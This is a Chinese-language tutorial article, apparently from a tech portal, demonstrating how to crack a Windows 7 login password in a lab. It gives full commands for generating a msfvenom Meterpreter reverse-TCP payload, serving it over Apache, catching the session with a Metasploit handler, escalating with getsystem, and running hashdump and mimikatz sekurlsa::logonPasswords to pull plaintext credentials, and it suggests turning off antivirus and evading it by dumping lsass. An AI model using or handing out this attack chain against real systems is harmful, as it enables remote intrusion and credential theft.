您当前的位置:首页 > 电脑百科 > 安全防护 > 数据安全

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

时间:2020-03-01 17:13:06  来源:  作者:

本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!

什么是hash(哈希)文件?

Hash,就是被一种特殊的加密方法加密过的一段特殊字符文件。常见的hash加密有:md5、sha-512,sha-256、sha1等。

Hash算法理论上是不可逆,也就说对hash算法无法将字符串解密成明文。但是我们可以通过碰撞的方法进行求解,通过不可逆的单向hash函数计算出它的hash值,然后与之前的hash进行比较,就能判断是否解密。

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

windows中获取SAM的hash

Windows系统的SAM文件,就是被二次加密过的hash密文字符文件!这个SAM文件一般存在windows的系统目录c:windowssystem32config中。如果是xp系统,不仅在上面的目录中存在,而且还在c:windowsrepair目录下存在备份的SAM文件。

注意,SAM文件不是单纯的hash文件,它是被二次加密过的特殊字符文件,必须将它解密成正常的hash文件,才能继续解密成明文密码!

使用msfvenom生成windows有效载荷,kali终端下输入:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.206 LPORT=8888 -f exe > test.exe

LHOST是你kali的桥接网络IP;LPORT随便设置,只要不和其他冲突即可。

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

将主目录下生成的可执行载荷放到kali的/var/www/html中,并且删除html目录下.html为后缀的文件(没有就不用管!)

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

开启kali的Apache2服务,在终端中输入: service apache2 start

Apache2可以提供基本的web服务,也就是说远程的靶机可以访问kali的ip就可以自动访问kali的/va/www/html/下的文件,进行访问下载!Apache2此时就相当于一个小型服务器!

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

win7靶机(桥接网络)浏览器输入:192.168.31.206,然后选中test.exe进行下载到桌面。

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

kali,启动metasploit工具,并设置监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.31.206

set lport 8888

run

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

既然已经设置了监听,我们直接去win7模拟运行有效载荷test.exe,然后就会看到kali的metasploit就会收到会话!(这里建议将win7的360关掉)

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

我们已经获得了win7靶机的meterpreter会话,现在我们可以通过一个meterpreter命令"hashdump"就可以直接下载win7靶机的hash文件,这里获取的不是被二次加密的SAM文件,而是自动获取win7被解密后的SAM文件形成的hash值

但是我们首先需要看下当前获得的会话是什么权限?输入:getuid

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

管理员权限,不是system权限,无法提取hash值,我们第一步就需要直接输入"getsystem"来使用meterpreter默认的技术进行win7提权!看看能不能变成system权限。执行完毕,输入getuid查看,已经是system权限!Bingo!

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

知识补充:如果输入getsystem无法提权,这就需要其他的利用模块绕过win7的提权,这里暂时不讲,以后会讲解!

我们输入:hashdump,看看是否得到hash值?

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

很不幸,没有得到我们想要的hash值,原因是部分win7系统拒绝metasploit进行访问提取hash,请记住,这是一种方法,有的系统是可以直接进行提取hash值的。我们继续试探!

尝试使用mimikatz

既然直接输入hashdump不行,我们试试上传mimikatz到win7靶机中进行远程抓取!

首先将本课共享文件夹中的"mimikatz压缩包"下载到kali主目录下。关注小白嘿客,回复“想学”获取!然后在meterpreter中将解压后Win32文件夹中的文件上传到win7靶机的c盘下。

上传命令是:upload Win32 c:\

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

然后在meterpreter中输入"shell"进入win7靶机的cmd终端模拟器

如果出现乱码,输入chcp 65001即可解决乱码。

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

这里获得的cmd显示在我们kali的桌面中,我们应该切换到c盘根目录下(我们上面上传过去的文件就在这里!),你发现cmd此时就在c:下,然后输入dir查看验证下远程的win7靶机c盘是否有我们上传上去的mimikatz

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

在cmd中输入:mimikatz.exe

远程启动我们的解密工具这里需要提醒,如果之前的meterpreter会话断开过,需要重现建立,而且要保证已经使用meterpreter的getsystem命令进行了本地对远程win7靶机的提权!否则mimikatz.exe可能无法运行!

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

然后输入:privilege::debug,显示20 ok即可完成提权!

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

然后输入:sekurlsa::logonPasswords,开始远程抓取win7靶机的hash值

你会很开心的!看下图!

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

理论上会将win7靶机的所有用户以及密码都打印在meterpreter会话中的模拟cmd窗口中!我们这里只关注Administrator这个管理员用户!你设置发现SHA1这种hash值根本就不用解密,红色的框中已经自动解密出密码123456,用户Administrator了!

到此,我们利用meterpreter会话上传mimikatz到win7靶机上,然后在kali中实现操控靶机的cmd,成功破解出了明文口令!根本就不需要拿到hash值,当然如果拿不到明文密码,有hash值也可以直接进行破解。

超详细实战演示破解windows电脑登录密码,并初步认识hash加密

 

我们知道,mimikatz容易被杀毒软件查杀,也就是说我们本课将这个mimikatz上传到win7靶机中后,如果有杀毒软件,那是根本无法直接像本课一样获取远程靶机的hash明文密码的。所以我们需要另外一种技术,通过将远程win7靶机的lsass.exe进程(该进程使用windows的用户SAM文件)保存成一个dmp文件,然后下载到我们kali本地,直接在我们本地主机上使用mimikatz进行解密!

下节课,我们将探讨规避360进行远程破解、甚至是使用john直接解密SAM加密文件!更多精彩,关注小白嘿客,私信获取hac技术课程!欢迎在下方评论区留言讨论!



Tags:登录密码   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
概述日常管理华为路由设备过程中,难为会忘记设备登录密码,那么该如何重置设备登录密码吗?本期文章将全面向各位小伙伴总结分享。重置华为设备登录密码思路先行 采用console登录...【详细内容】
2021-12-10  Tags: 登录密码  点击:(27)  评论:(0)  加入收藏
在使用win10系统的时候,有些深度小伙伴喜欢安装原版的,但是安装原版的话,每次电脑开机都需要输入登录密码,很是麻烦,本文中深度技术小编分享win10系统下如何取消登录密码的方法。...【详细内容】
2021-04-13  Tags: 登录密码  点击:(240)  评论:(0)  加入收藏
一切的基本功都是为后期调试滑块验证码准备的。 今天来看看斗鱼登录密码加密,正所谓熟能生巧,这种简单一点的基本3-5分钟就要能抠出来,有兴趣得还是自己抠一下JS代码,如需完整代...【详细内容】
2020-09-25  Tags: 登录密码  点击:(79)  评论:(0)  加入收藏
平时我们上网的过程中,经常会发现浏览器中的地址栏前面有个http或者https,这个是web请求时指定的协议。默认情况下,使用HTTP开头的,这个网站上的通信就不会被加密,也就是明文传输...【详细内容】
2020-05-12  Tags: 登录密码  点击:(2833)  评论:(0)  加入收藏
你是否也遇到过,很久的一台设备,有一天需要登录设备进行操作时,发现密码忘记了,各种默认密码都尝试过,死活登录不进去。各种密码的尝试,有没有让你感觉到绝望和无助呢?劝你还是放弃...【详细内容】
2020-05-02  Tags: 登录密码  点击:(432)  评论:(0)  加入收藏
打开电脑准备登录win10时,最糟糕的事情发生了:密码丢失。由于Windows10的安全性进一步增强,使得登录密码比以往任何时候都更加重要,如果不输入密码(或使用一些技巧),基本上无法登录...【详细内容】
2020-04-17  Tags: 登录密码  点击:(219)  评论:(0)  加入收藏
忘记mac登录密码这个问题如何解决呢?这得看你的Mac有没有开启FileVault,这里先简单介绍一下FileVault。FileVault是苹果系统的一项保密措施,一般刚买的Mac开机时会让你设置是否...【详细内容】
2020-04-01  Tags: 登录密码  点击:(186)  评论:(0)  加入收藏
本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!什么是hash(哈希)文件?Hash,就是被一种特殊的加密方法加密过的一段特殊字符文件。常见的hash加密有:md5、sha-5...【详细内容】
2020-03-01  Tags: 登录密码  点击:(160)  评论:(0)  加入收藏
一台测试服务器,很久没有登录使用,忘记了mysql得root密码,经过搜索引擎一番查找,发现需要进行如下步骤做root密码重置1、修改 /etc/my.cnf,在 [mysqld] 小节下添加一行:skip-grant...【详细内容】
2020-02-16  Tags: 登录密码  点击:(51)  评论:(0)  加入收藏
电脑要不要设置密码?为了安全还是设一个吧。这里所说的密码是windows登录密码,即登录windows时的密码。如果为win10登陆账号设置了密码则在进入系统时会要求输入密码,如果没有...【详细内容】
2019-10-08  Tags: 登录密码  点击:(172)  评论:(0)  加入收藏
▌简易百科推荐
众所周知,Windows系统流氓软件众多,其中不乏出身大厂的产品。这些带有流氓性质的软件,很多都会偷偷扫描系统数据,读取用户文件,造成电脑卡顿拖慢不说,还严重侵害了个人隐私,造成巨...【详细内容】
2021-12-06  趣玩APPS    Tags:流氓软件   点击:(16)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  IT野涵    Tags:sql注入   点击:(21)  评论:(0)  加入收藏
互联网时代,不论是个人还是组织,都将数据视为一项重要的资产。为了便于存储、管理,企业常常会为各项数据建立一个数据库,如果没有做好安全风险防护,一旦数据库被攻占,企业将迎来很...【详细内容】
2021-10-28  快快网络   企鹅号  Tags:数据库   点击:(50)  评论:(0)  加入收藏
前言(可能思路狭隘,有缺有错,师傅们多带带)【查看资料】Author: 0ne本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告...【详细内容】
2021-10-28  IT野涵    Tags:缺口   点击:(46)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19    博客园  Tags:SQL注入   点击:(52)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  woaker    Tags:SQL注入漏洞   点击:(67)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  合天网安实验室    Tags:sql注入   点击:(60)  评论:(0)  加入收藏
“放纵自己的欲望是最大的祸害,窥探别人的隐私是最大的罪恶,不知自己的过失是最大的病痛”。 上文咱们知道了目前互联网的数据安全存在隐患,数据安全的问题,每天都在发生,只不过...【详细内容】
2021-08-13  小陶子矿工    Tags:IPFS   点击:(79)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  IT影子    Tags:sql注入   点击:(66)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  李志宽    Tags:SQL注入   点击:(74)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条